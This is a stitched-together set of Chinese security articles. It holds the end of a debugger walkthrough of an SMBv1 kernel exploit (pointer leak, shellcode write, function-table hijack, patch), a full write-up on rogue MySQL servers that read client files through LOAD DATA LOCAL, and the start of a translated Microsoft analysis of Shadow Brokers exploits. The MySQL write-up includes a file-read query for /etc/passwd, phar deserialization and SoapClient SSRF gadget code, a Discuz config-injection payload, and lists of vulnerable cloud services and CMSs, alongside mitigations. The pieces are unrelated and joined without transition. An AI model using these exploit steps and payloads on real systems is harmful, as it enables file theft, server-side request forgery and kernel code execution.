VOID SRVFASTCALL RestartPeekNamedPipe (
IN OUT PWORK_CONTEXT WorkContext)
{
//...
//
// Success. Generate and send the response.
//
transaction = WorkContext->Parameters.Transaction;
pipePeekBuffer = (PFILE_PIPE_PEEK_BUFFER)transaction->OutParameters;
readDataAvailable = (USHORT)pipePeekBuffer->ReadDataAvailable;
messageLength = (USHORT)pipePeekBuffer->MessageLength;
namedPipeState = (USHORT)pipePeekBuffer->NamedPipeState;
//
// ... then copy them back in the new format.
//
respPeekNmPipe = (PRESP_PEEK_NMPIPE)pipePeekBuffer;
SmbPutAlignedUshort(
&respPeekNmPipe->ReadDataAvailable,
readDataAvailable
);
SmbPutAlignedUshort(
&respPeekNmPipe->MessageLength,
messageLength
);
SmbPutAlignedUshort(
&respPeekNmPipe->NamedPipeState,
namedPipeState
);
//
// Send the response. Set the output counts.
//
// NT return to us 4 ULONGS of parameter bytes, followed by data.
// We return to the client 6 parameter bytes.
//
transaction->SetupCount = 0;
transaction->ParameterCount = 6;
transaction->DataCount = WorkContext->Irp->IoStatus.Information - (4 * sizeof(ULONG));
//...
}
该函数最终会修改`Transaction->DataCount` 为 0x23c。
kd> ub
srv!RestartPeekNamedPipe+0x42:
b7700137 66895004 mov word ptr [eax+4],dx
b770013b 83614c00 and dword ptr [ecx+4Ch],0
b770013f c7415406000000 mov dword ptr [ecx+54h],6
b7700146 8b4678 mov eax,dword ptr [esi+78h]
b7700149 8b401c mov eax,dword ptr [eax+1Ch]
b770014c 83e810 sub eax,10h
b770014f 85ff test edi,edi
b7700151 894160 mov dword ptr [ecx+60h],eax
kd> ?ecx+0x60
Evaluate expression: 367768 = 00059c98
kd> r eax
eax=0000023c
kd> dd 00059c38
00059c38 109c020c 00000000 ffdff500 89a29c18
00059c48 e1ed9900 e15e2960 0005acf8 00058ba8
00059c58 00020000 00059cd0 00002307 00000001
00059c68 00000000 00059cd4 8993b3e5 00059cd4
00059c78 00059d14 ffdff500 0005acd4 00000000
00059c88 00000000 00000006 00000000 00000ff0
00059c98 0000023c 00000000 00000001 00000000
00059ca8 00000101 08000000 0800cee6 00000000
kd> k
# ChildEBP RetAddr
00 b7c0ed88 b76dad98 srv!RestartPeekNamedPipe+0x5f
01 b7c0edac 805c6160 srv!WorkerThread+0x11e
02 b7c0eddc 80541dd2 nt!PspSystemThreadStartup+0x34
03 00000000 00000000 nt!KiThreadStartup+0x16
至此，已经成功修改了`write_transaction`的`DataCount`值，之后便可以越界读出
`leak_transacion->Connection`值: 89a29c18。
##### 5.1.1.3 SRV global data pointer
kd> dds 89a29c18
89a29c18 02580202
89a29c1c 0000001d
89a29c20 00000000
89a29c24 00000000
89a29c28 00000000
89a29c2c 00000000
89a29c30 00000000
89a29c34 00000000
89a29c38 00000000
89a29c3c b76d8bec srv!SrvGlobalSpinLocks+0x3c
89a29c40 899d0020
89a29c44 000005b3
89a29c48 8976c200
89a29c4c 00004000
89a29c50 10000100
89a29c54 00000000
89a29c58 8988e010
89a29c5c 89aedc30
89a29c60 89a7d898
89a29c64 0001ffff
其中`srv!SrvGlobalSpinLocks+0x3c` 就是所谓的 SRV global data pointer ：b76d8bec
##### 5.1.1.4 Locating function tables
kd> dds b76d8bec-0x654
b76d8598 b7709683 srv!SrvSmbOpen2
b76d859c b76f62a8 srv!SrvSmbFindFirst2
b76d85a0 b76f74e5 srv!SrvSmbFindNext2
b76d85a4 b76f6309 srv!SrvSmbQueryFsInformation
b76d85a8 b7707293 srv!SrvSmbSetFsInformation
b76d85ac b77041ad srv!SrvSmbQueryPathInformation
b76d85b0 b7703ce7 srv!SrvSmbSetPathInformation
b76d85b4 b77025ad srv!SrvSmbQueryFileInformation
b76d85b8 b770367f srv!SrvSmbSetFileInformation
b76d85bc b7705c85 srv!SrvSmbFsctl
b76d85c0 b7706419 srv!SrvSmbIoctl2
b76d85c4 b7705c85 srv!SrvSmbFsctl
b76d85c8 b7705c85 srv!SrvSmbFsctl
b76d85cc b77047bb srv!SrvSmbCreateDirectory2
b76d85d0 b7709a51 srv!SrvTransactionNotImplemented
b76d85d4 b7709a51 srv!SrvTransactionNotImplemented
b76d85d8 b76fb144 srv!SrvSmbGetDfsReferral
b76d85dc b76faf7e srv!SrvSmbReportDfsInconsistency
b76d85e0 00000000
#### 5.1.2 泄露Npp Buffer (shellcode buffer)
这里又得回到`ExecuteTransaction`函数：
SMB_STATUS SRVFASTCALL ExecuteTransaction (
IN OUT PWORK_CONTEXT WorkContext)
{
//...
header = WorkContext->ResponseHeader;
response = (PRESP_TRANSACTION)WorkContext->ResponseParameters;
ntResponse = (PRESP_NT_TRANSACTION)WorkContext->ResponseParameters;
//
// Setup output pointers
//
if ( transaction->OutParameters == NULL ) {
//
// Parameters will go into the SMB buffer. Calculate the pointer
// then round it up to the next DWORD address.
//
transaction->OutParameters = (PCHAR)(transaction->OutSetup +
transaction->MaxSetupCount);
offset = (transaction->OutParameters - (PCHAR)header + 3) & ~3;
transaction->OutParameters = (PCHAR)header + offset;
}
if ( transaction->OutData == NULL ) {
//
// Data will go into the SMB buffer. Calculate the pointer
// then round it up to the next DWORD address.
//
transaction->OutData = transaction->OutParameters +
transaction->MaxParameterCount;
offset = (transaction->OutData - (PCHAR)header + 3) & ~3;
transaction->OutData = (PCHAR)header + offset;
}
//...
command = SmbGetUshort(&transaction->InSetup[0]);
//...
switch( command ) {
case TRANS_TRANSACT_NMPIPE:
resultStatus = SrvTransactNamedPipe( WorkContext );
break;
case TRANS_PEEK_NMPIPE:
resultStatus = SrvPeekNamedPipe( WorkContext );
break;
//...
}
这在这个函数里有这么一个逻辑，当`transaction->OutParameters==NULL`里，会将`PWORK\_CONTEXT->ResponseHeader`加上一定的offset赋于它，`PWORK_CONTEXT->ResponseHeader`就是个NonePagedPool.
kd> ub eip
srv!ExecuteTransaction+0x60:
b76e8d05 46 inc esi
b76e8d06 50 push eax
b76e8d07 d1e0 shl eax,1
b76e8d09 2bc2 sub eax,edx
b76e8d0b 8d440803 lea eax,[eax+ecx+3]
b76e8d0f 83e0fc and eax,0FFFFFFFCh
b76e8d12 03c2 add eax,edx
b76e8d14 894640 mov dword ptr [esi+40h],eax
kd> dd 5ace0
0005ace0 109c020c 00000000 89b2c948 89a29c18
0005acf0 e1ed9900 e15e2960 0005bda0 00059c50
0005ad00 00020000 0005ad78 00002361 40010036
0005ad10 00000000 0005ad0c 8993fa25 0005ad7c
0005ad20 8993fa28 0005ad7c b76d84ec 00000004
0005ad30 00000000 00000000 00000000 00000010
0005ad40 00000000 00000000 00000100 00000000
0005ad50 00000101 08000000 0800cee6 0000004b
kd> ? esi+0x40
Evaluate expression: 372000 = 0005ad20
kd> r eax
eax=8993fa28
##### 5.1.2.1 transaction->OutParameters=NULL
Transaction 初始状态下`OutParameters`并不为NULL：
kd> dd 5ace0
0005ace0 109c020c 00000000 89b2c948 89a29c18
0005acf0 e1ed9900 e15e2960 0005bda0 00059c50
0005ad00 00020000 0005ad78 00002361 00000001
0005ad10 00000000 0005ad7c 00000000 0005ad7c
0005ad20 0005adbc 0005ad7c 0005bd7c 00000000
0005ad30 00000000 00000000 00000000 00000fc0
0005ad40 00000000 00000040 00000000 00000000
0005ad50 00000101 08000000 0800cee6 0000004b
这里通过`write_transaction`越界 写 `leak_transaction->OutParameters`为NULL,
然后发包触发写`leak_transaction`操作，之后`leak_transaction->OutParameters`便为一 Npp
Buffer值了。
##### 5.1.2.2 leak_transaction->OutData = &leak_transaction->OutParameters
这里要事先泄露leak_transaction的基址，其实也不难，通过读leak_transaction的OutData 或 OutParameters 或
InData 字段的值再减去一定的偏移便得到了基址，使`leak_transaction->OutData =
&leak_transaction->OutParameters`之后，发包触发leak_transaction读操作便将该Npp
buffer地址泄露出来了。
##### 5.1.2.3 写shellcode到Npp Buffer
将`control_transaction->OutData`设为`Npp
Buffer+0x100`地址，然后发包发送shellcode，便将shellcode写到了`Npp Buffer+0x100`内。
### 5.2 代码执行
至此，直接将Npp buffer+0x100写到之前泄露出来的函数表里
kd> dds b76d8598
b76d8598 b7709683 srv!SrvSmbOpen2
b76d859c b76f62a8 srv!SrvSmbFindFirst2
b76d85a0 b76f74e5 srv!SrvSmbFindNext2
b76d85a4 b76f6309 srv!SrvSmbQueryFsInformation
b76d85a8 b7707293 srv!SrvSmbSetFsInformation
b76d85ac b77041ad srv!SrvSmbQueryPathInformation
b76d85b0 b7703ce7 srv!SrvSmbSetPathInformation
b76d85b4 b77025ad srv!SrvSmbQueryFileInformation
b76d85b8 b770367f srv!SrvSmbSetFileInformation
b76d85bc b7705c85 srv!SrvSmbFsctl
b76d85c0 b7706419 srv!SrvSmbIoctl2
b76d85c4 b7705c85 srv!SrvSmbFsctl
b76d85c8 b7705c85 srv!SrvSmbFsctl
b76d85cc b77047bb srv!SrvSmbCreateDirectory2
b76d85d0 8993fb28
b76d85d4 b7709a51 srv!SrvTransactionNotImplemented
b76d85d8 b76fb144 srv!SrvSmbGetDfsReferral
b76d85dc b76faf7e srv!SrvSmbReportDfsInconsistency
b76d85e0 00000000
之后发包就能触发该函数调用：
kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 b72b4cf0 b76e8d76 0x8993fb28
01 b72b4d04 b76e341f srv!ExecuteTransaction+0xdb
02 b72b4d7c b76ca836 srv!SrvSmbTransaction+0x7ac
03 b72b4d88 b76dad98 srv!SrvProcessSmb+0xb7
04 b72b4dac 805c6160 srv!WorkerThread+0x11e
05 b72b4ddc 80541dd2 nt!PspSystemThreadStartup+0x34
06 00000000 00000000 nt!KiThreadStartup+0x16
## 6 关于补丁
了解了漏洞原理之后修补都很简单了。只要在`srv!SrvFindTransaction`里面判断一下SMB COMMAND的类型是否一致就好了。 修补前
TRANSCATION *__fastcall SrvFindTransaction(int pConnect, SMB_HEADER *Fid, __int16 a3)
{
_DWORD **pTransList; // eax@4
_DWORD *v6; // ebx@4
PDEVICE_OBJECT v7; // ecx@5
TRANSCATION *pTransaction; // esi@6
char Command_Trans; // al@10
char Command_header; // dl@10
__int16 MIDorFID; // [sp+Ch] [bp-Ch]@2
struct _ERESOURCE *Resource; // [sp+14h] [bp-4h]@4
if ( Fid->Command == 0x2F )
MIDorFID = a3;
else
MIDorFID = Fid->MID;
Resource = (struct _ERESOURCE *)(pConnect + 0x19C);
ExAcquireResourceExclusiveLite((PERESOURCE)(pConnect + 0x19C), 1u);
pTransList = (_DWORD **)(*(_DWORD *)(pConnect + 0x160) + 8);
v6 = *pTransList;
if ( *pTransList == pTransList )
goto LABEL_14;
v7 = WPP_GLOBAL_Control;
while ( 1 )
{
pTransaction = (TRANSCATION *)(v6 - 6);
if ( *((_WORD *)v6 + 49) == Fid->TID
&& pTransaction->PID == Fid->PID
&& pTransaction->UID == Fid->UID
&& pTransaction->MID == MIDorFID )
{
break;
}
LABEL_13:
v6 = (_DWORD *)*v6;
if ( v6 == (_DWORD *)(*(_DWORD *)(pConnect + 0x160) + 8) )
goto LABEL_14;
}
//
// 这里添加了对COMMAND的比较。比较pTransaction和请求中SMB\_HEADER中的COMMAND进行对比
//
Command_Trans = pTransaction->Command;
Command_header = Fid->Command;
if ( Command_Trans != Command_header )
{
if ( (PDEVICE_OBJECT *)v7 != &WPP_GLOBAL_Control )
{
WPP_SF_qDD(v7->AttachedDevice, v7->CurrentIrp, (_BYTE)v6 - 24, Command_header, Command_Trans);
v7 = WPP_GLOBAL_Control;
}
goto LABEL_13;
}
if ( BYTE1(pTransaction->field_0) == 2 )
{
_InterlockedIncrement((volatile signed __int32 *)(pTransaction->field_8 + 4));
goto LABEL_15;
}
LABEL_14:
pTransaction = 0;
LABEL_15:
ExReleaseResourceLite(Resource);
return pTransaction;
}
补丁点就是`if ( Command_Trans != Command_header )`看注释的地方。
## 7 总结
总之，这个漏洞还是非常好的，远程任意地址写，还可以信息泄露。威力很大。
## 8 联系作者
[pgboy 微博](http://weibo.com/pgboy1988)
[zhong_sf 微博](http://weibo.com/2641521260)
如果你感觉排版不舒服可以去[这里](https://github.com/progmboy/vul_analyze_doc)下载原始的markdown文件。
* * * | 社区文章 |
**作者：LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室**
**英文版本：<https://paper.seebug.org/1113/> **
这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor
用来非预期h4x0r's club这题的一个技巧。
<http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/>
在后来的研究中，和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick，在逐渐追溯这个漏洞的过去的过程中，我渐渐发现这个问题作为mysql的一份feature存在了很多年，从13年就有人分享这个问题。
* [Database Honeypot by design (2013 8月 Presentation from Yuri Goltsev)](https://www.slideshare.net/qqlan/database-honeypot-by-design-25195927)
* [Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of connected clients)](https://github.com/Gifts/Rogue-MySql-Server)
* [Abusing MySQL LOCAL INFILE to read client files (2018年4月23日)](https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html)
在围绕这个漏洞的挖掘过程中，我们不断地发现新的利用方式，所以将其中大部分的发现都总结并准备了议题在CSS上分享，下面让我们来一步步分析。
# Load data infile
load data
infile是一个很特别的语法，熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉，在CTF中，我们经常能遇到没办法load_file读取文件的情况，这时候唯一有可能读到文件的就是load
data infile，一般我们常用的语句是这样的：
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql
server会读取服务端的/etc/passwd然后将数据按照`'\n'`分割插入表中，但现在这个语句同样要求你有FILE权限，以及非local加载的语句也受到`secure_file_priv`的限制
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我们修改一下语句，加入一个关键字local。
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后，这个语句就成了，读取客户端的文件发送到服务端，上面那个语句执行结果如下
很显然，这个语句是不安全的，在mysql的文档里也充分说明了这一点
<https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html>
在mysql文档中的说到， **服务端可以要求客户端读取有可读权限的任何文件** 。
mysql认为 **客户端不应该连接到不可信的服务端** 。
我们今天的这个问题，就是围绕这个基础展开的。
# 构造恶意服务端
在思考明白了前面的问题之后，核心问题就成了，我们怎么构造一个恶意的mysql服务端。
在搞清楚这个问题之前，我们需要研究一下mysql正常执行链接和查询的数据包结构。
1、greeting包，服务端返回了banner，其中包含mysql的版本
2、客户端登录请求
3、然后是初始化查询，这里因为是phpmyadmin所以初始化查询比较多
4、load file local
由于我的环境在windows下，所以这里读取为`C:/Windows/win.ini`，语句如下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
首先是客户端发送查询
然后服务端返回了需要的路径
然后客户端直接把内容发送到了服务端
看起来流程非常清楚，而且客户端读取文件的路径并不是从客户端指定的，而是发送到服务端，服务端制定的。
原本的查询流程为
客户端：我要把win.ini插入test表中
服务端：我要你的win.ini内容
客户端：win.ini的内容如下....
假设服务端由我们控制，把一个正常的流程篡改成如下
客户端：我要test表中的数据
服务端：我要你的win.ini内容
客户端：win.ini的内容如下???
上面的第三句究竟会不会执行呢？
让我们回到[mysql的文档](https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html)中，文档中有这么一句话：
**服务端可以在任何查询语句后回复文件传输请求** ，也就是说我们的想法是成立的
在深入研究漏洞的过程中，不难发现这个漏洞是否成立在于Mysql
client端的配置问题，而经过一番研究，我发现在mysql登录验证的过程中，会发送客户端的配置。
在greeting包之后，客户端就会链接并试图登录，同时数据包中就有关于是否允许使用load data
local的配置，可以从这里直白的看出来客户端是否存在这个问题（这里返回的客户端配置不一定是准确的，后面会提到这个问题）。
# poc
在想明白原理之后，构建恶意服务端就变得不那么难了，流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包
3.回复一个file transfer包
这里主要是构造包格式的问题，可以跟着原文以及各种文档完成上述的几次查询.
值得注意的是，原作者给出的poc并没有适配所有的情况，部分mysql客户端会在登陆成功之后发送ping包，如果没有回复就会断开连接。也有部分mysql
client端对greeting包有较强的校验，建议直接抓包按照真实包内容来构造。
* <https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake>
* <https://dev.mysql.com/doc/internals/en/com-query-response.html>
原作者给出的poc
<https://github.com/Gifts/Rogue-MySql-Server>
# 演示
这里用了一台腾讯云做服务端，客户端使用phpmyadmin连接
我们成功读取了文件。
# 影响范围
## 底层应用
在这个漏洞到底有什么影响的时候，我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。
* mysql client (pwned)
* php mysqli (pwned，fixed by 7.3.4)
* php pdo (默认禁用)
* python MySQLdb (pwned)
* python mysqlclient (pwned)
* java JDBC Driver (pwned，部分条件下默认禁用)
* navicat （pwned)
## 探针
在深入挖掘这个漏洞的过程中，第一时间想到的利用方式就是mysql探针，但可惜的是，在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了，没有任何查询，尽职尽责。
* 雅黑PHP探针 失败
* iprober2 探针 失败
* PHP探针 for LNMP一键安装包 失败
* UPUPW PHP 探针 失败
* ...
## 云服务商 云数据库 数据迁移服务
以上漏洞均在2018年报送官方并遵守漏洞纰漏原则
国内
* 腾讯云 DTS 失败，禁用Load data local
* 阿里云 RDS 数据迁移失败，禁用Load data local
* 华为云 RDS DRS服务 成功
* 京东云 RDS不支持远程迁移功能，分布式关系数据库未开放
* UCloud RDS不支持远程迁移功能，分布式关系数据库不能对外数据同步
* QiNiu云 RDS不支持远程迁移功能
* 新睿云 RDS不支持远程迁移功能
* 网易云 RDS 外部实例迁移 成功
* 金山云 RDS DTS数据迁移 成功
* 青云Cloud RDS 数据导入 失败，禁用load data local
* 百度Cloud RDS DTS 成功
国际云服务商
* Google could SQL数据库迁移失败，禁用Load data infile
* AWS RDS DMS服务 成功
## Excel online sql查询
之前的一篇文章中提到过，在Excel中一般有这样一个功能，从数据库中同步数据到表格内，这样一来就可以通过上述方式读取文件。
受到这个思路的启发，我们想到可以找online的excel的这个功能，这样就可以实现任意文件读取了。
* WPS failed（没找到这个功能）
* Microsoft excel failed（禁用了infile语句）
* Google 表格 （原生没有这个功能，但却支持插件，下面主要说插件）
* Supermetrics pwned
- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned
# 拓展？2RCE！
抛开我们前面提的一些很特殊的场景下，我们也要讨论一些这个漏洞在通用场景下的利用攻击链。
既然是围绕任意文件读取来讨论，那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。
## 任意文件读 with 配置文件泄露
在Discuz x3.4的配置中存在这样两个文件
config/config_ucenter.php
config/config_global.php
在dz的后台，有一个ucenter的设置功能，这个功能中提供了ucenter的数据库服务器配置功能，通过配置数据库链接恶意服务器，可以实现任意文件读取获取配置信息。
配置ucenter的访问地址。
原地址： http://localhost:8086/upload/uc_server
修改为： http://localhost:8086/upload/uc_server\');phpinfo();//
当我们获得了authkey之后，我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及`UC_KEY`来访问即可生效
## 任意文件读 to 反序列化
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the
“phar://” Stream Wrapper议题，原文[https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf ](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。
在该议题中提到，在PHP中存在一个叫做[Stream
API](https://secure.php.net/manual/zh/internals2.ze1.streams.php)，通过注册拓展可以注册相应的伪协议，而phar这个拓展就注册了`phar://`这个stream
wrapper。
在我们知道创宇404实验室安全研究员seaii曾经的研究(<https://paper.seebug.org/680/>)中表示，所有的文件函数都支持stream
wrapper。
深入到函数中，我们可以发现，可以支持steam wrapper的原因是调用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
从这里，我们再回到mysql的load file local语句中，在mysqli中，mysql的读文件是通过php的函数实现的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52
if (PG(open_basedir)) {
if (php_check_open_basedir_ex(filename, 0) == -1) {
strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
info->error_no = CR_UNKNOWN_ERROR;
DBG_RETURN(1);
}
}
info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
也同样调用了`php_stream_open_wrapper_ex`函数，也就是说，我们同样可以通过读取phar文件来触发反序列化。
### 复现
首先需要一个生成一个phar
pphar.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
使用该文件生成一个phar.phar
然后我们模拟一次查询
test.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');
图中我们只做了select 1查询，但我们伪造的evil mysql server中驱使mysql client去做`load file
local`查询，读取了本地的
phar://./phar.phar
成功触发反序列化
## 反序列化 to RCE
当一个反序列化漏洞出现的时候，我们就需要从源代码中去寻找合适的pop链，建立在pop链的利用基础上，我们可以进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有以下 \- 当对象被创建的时候调用： **construct \- 当对象被销毁的时候调用：** destruct \-当对象被当作一个字符串使用时候调用： **toString \- 序列化对象之前就调用此方法(其返回需要是一个数组)：** sleep \-反序列化恢复对象之前就调用此方法： **wakeup \- 当调用对象中不存在的方法会自动调用此方法：** call
配合与之相应的pop链，我们就可以把反序列化转化为RCE。
### dedecms 后台反序列化漏洞 to SSRF
dedecms 后台，模块管理，安装UCenter模块。开始配置
首先需要找一个确定的UCenter服务端，可以通过找一个dz的站来做服务端。
然后就会触发任意文件读取，当然，如果读取文件为phar，则会触发反序列化。
我们需要先生成相应的phar
<?php
class Control
{
var $tpl;
// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
public $dsql;
function __construct(){
$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
}
function __destruct() {
unset($this->tpl);
$this->dsql->Close(TRUE);
}
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new Control();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后我们可以直接通过前台上传头像来传文件，或者直接后台也有文件上传接口，然后将rogue mysql server来读取这个文件
phar://./dedecms.phar/test.txt
监听5555可以收到
ssrf进一步可以攻击redis等拓展攻击面，就不多说了。
## 部分CMS测试结果
CMS名 | 影响版本 | 是否存在mysql任意文件读取 | 是否有可控的MySQL服务器设置 | 是否有可控的反序列化 | 是否可上传phar | 补丁
---|---|---|---|---|---|---
phpmyadmin | < 4.8.5 | 是 | 是 | 是 | 是 |
[补丁](https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2)
Dz | 未修复 | 是 | 是 | 否 | None | None
drupal | None | 否(使用PDO) | 否(安装) | 是 | 是 | None
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None
ecshop | None | 是 | 是 | 否 | 是 | None
禅道 | None | 否(PDO) | 否 | None | None | None
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None
帝国cms | None | 是 | 是 | 否 | None | None
phpwind | None | 否(PDO) | 是 | None | None | None
mediawiki | None | 是 | 否（后台没有修改mysql配置的方法） | 是 | 是 | None
Z-Blog | None | 是 | 否（后台没有修改mysql配置的方法） | 是 | 是 | None
# 修复方式
对于大多数mysql的客户端来说，load file
local是一个无用的语句，他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说，可以直接关闭这个功能，并不会影响到正常的使用。
具体的关闭方式见文档 \- <https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html>
对于不同服务端来说，这个配置都有不同的关法，对于JDBC来说，这个配置叫做`allowLoadLocalInfile`
* <https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html>
在php的mysqli和mysql两种链接方式中，底层代码直接决定了这个配置。
这个配置是`PHP_INI_SYSTEM`，在php的文档中，这个配置意味着`Entry can be set in php.ini or
httpd.conf`。
所以只有在php.ini中修改`mysqli.allow_local_infile = Off`就可以修复了。
在php7.3.4的更新中，mysqli中这个配置也被默认修改为关闭
<https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5>
可惜在不再更新的旧版本mysql5.6中，无论是mysql还是mysqli默认都为开启状态。
现在的代码中也可以通过`mysqli_option`，在链接前配置这个选项。
<http://php.net/manual/zh/mysqli.options.php>
比较有趣的是，通过这种方式修复，虽然禁用了`allow_local_infile`，但是如果使用wireshark抓包却发现`allow_local_infile`仍是启动的（但是无效）。
在旧版本的phpmyadmin中，先执行了`mysqli_real_connect`，然后设置`mysql_option`，这样一来`allow_local_infile`实际上被禁用了，但是在发起链接请求时中`allow_local_infile`还没有被禁用。
实际上是因为`mysqli_real_connect`在执行的时候，会初始化`allow_local_infile`。在php代码底层`mysqli_real_connect`实际是执行了`mysqli_common_connect`。而在`mysqli_common_connect`的代码中，设置了一次`allow_local_infile`。
<https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251>
如果在`mysqli_real_connect`之前设置`mysql_option`，其`allow_local_infile`的配置会被覆盖重写，其修改就会无效。
phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。
<https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f>
# 说在最后
这是一个针对mysql
feature的攻击模式，思路非常有趣，就目前而言在mysql层面没法修复，只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛，但可能针对一些特殊场景的时候，可以特别有效的将一个正常的功能转化为任意文件读取，在拓展攻击面上非常的有效。
详细的攻击场景这里就不做假设了，危害还是比较大的。
# REF
* <http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/>
* <https://lightless.me/archives/read-mysql-client-file.html>
* <https://dev.mysql.com/doc/refman/8.0/en/load-data.html>
* <https://dev.mysql.com/doc/refman/8.0/en/load-data.html>
* * * | 社区文章 |
# 【技术分享】分析Shadow Brokers工具与Windows10中基于虚拟化的安全缓解措施
|
##### 译文声明
本文是翻译文章，文章来源：blogs.technet.microsoft.com
原文地址：<https://blogs.technet.microsoft.com/mmpc/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
在4月14日，一个称为Shadow
Brokers的组织因为[发布了一系列武器化漏洞利用工具](https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/)而引起安全界的关注。不久之后，这些利用中的一个被用于创建了蠕虫式恶意软件（即[WannaCrypt](https://blogs.technet.microsoft.com/mmpc/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/)），其目标是大量的过时系统并加密文件勒索。
尽管利用在新版本系统中失效了，或者试图利用已经修补的漏洞，他们依然提供了一个机会来分析和评估在Windows 10
创新者更新上面的漏洞利用技术是否依然有效。
在Windows10中，使用Device
Guard提供的关键的安全增强，如内核地址空间随机布局（[KASLR](https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf)）、内核数据执行保护（[DEP](https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf)）和基于虚拟化的安全（VBS），将有助于阻止现有的漏洞利用技术。通过CPU
hypervisor的VBS的使用，基于Device Guard的系统能验证并加强内核地址空间映射的代码的完整性。在Windows
10创新者更新，和Device Guard一起的还有新的内核[控制流保护](https://msdn.microsoft.com/en-us/library/windows/desktop/mt637065\(v=vs.85\).aspx)（KCFG），KCFG阻止了很多依赖破环函数指针来执行代码的漏洞利用技术。
在本文中，我们深入分析Shadow Brokers泄漏的两种利用。它们都允许通过服务器消息块（SMBv1）的漏洞来执行代码。
下面我们将讨论Device Guard和KCFG如何阻止这些利用，并且阻止其他漏洞利用在内核内存中安装后门。
**0x01 利用工具包**
工具包的目录结构展示了模块化的漏洞利用框架（payload和exploit分离）。
